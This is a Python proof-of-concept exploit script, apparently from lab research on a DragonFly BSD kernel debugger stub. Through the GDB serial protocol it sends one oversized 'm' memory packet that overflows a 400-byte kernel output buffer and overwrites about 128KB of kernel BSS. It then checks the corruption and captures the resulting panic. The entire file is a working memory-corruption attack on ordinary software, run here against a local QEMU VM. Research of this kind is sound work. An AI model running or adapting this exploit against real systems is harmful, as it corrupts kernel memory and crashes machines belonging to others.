#!/usr/bin/env python3
# exp_m_smash.py -- DF-2362 impact demo: single 'm' packet with large length
# smashes ~128KB of kernel BSS past remcomOutBuffer, then resume the kernel
# and capture the fallout (panic / fatal state) on the serial console.
import sys, os, time, subprocess, json
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__))))
from rsp import SerialPeer, parse_t05

SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock")
VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh")
RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2362smash-raw.log")
ROUT = 0xffffffff817a6f20
LEN = 0x10000            # 65536 bytes -> 131073 bytes written into a 400-byte buffer

def main():
    results = {}
    p = SerialPeer(SOCK, RAWLOG, name="m-smash")
    try:
        subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"],
                       timeout=8, capture_output=True)
    except subprocess.TimeoutExpired:
        pass
    m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25)
    if m is None:
        print("[!] no T-packet"); sys.exit(2)
    p.send(b"+")
    print("[+] stub up -- sending m<ROut>,%x (writes %d bytes past a 400-byte buffer)"
          % (LEN, 2*LEN+1-400))

    r = p.pkt("m%x,%x" % (ROUT, LEN), timeout=120)
    if r is None:
        print("[!] no reply to smash packet")
        results["reply_len"] = -1
    else:
        print("[+] smash reply: %d chars returned (read side worked)" % len(r))
        results["reply_len"] = len(r)
    results["smash_bytes_past_buf"] = 2*LEN + 1 - 400

    # verify a spot ~64KB past the buffer is now hex-alphabet garbage
    spot = p.read_mem(ROUT + 400 + 0x8000, 64)
    if spot:
        hexset = set(b"0123456789abcdef")
        frac = sum(1 for c in spot if c in hexset) / len(spot)
        print("[%s] spot check at ROut+400+0x8000: %s (hex-alphabet fraction %.2f)"
              % ("+" if frac > 0.9 else "-", spot.hex(), frac))
        results["spot_hexfrac"] = frac

    d = p.pkt("D", timeout=10)
    print("[+] detach -> %r ; kernel resumes with corrupted BSS" % d)

    # capture the fallout
    m = p.wait(r"panic|Fatal trap|db: |Stopping|fatal", 90)
    time.sleep(5)
    p.pump()
    tail = bytes(p.buf[-3000:])
    print("[*] serial tail after resume:\n%s" % tail.decode(errors="replace"))
    results["fallout"] = "panic" if (b"panic" in tail or b"Fatal trap" in tail) else "no-immediate-panic"
    print("[RESULT] " + json.dumps(results))
    p.close()
    sys.exit(0)

if __name__ == "__main__":
    main()
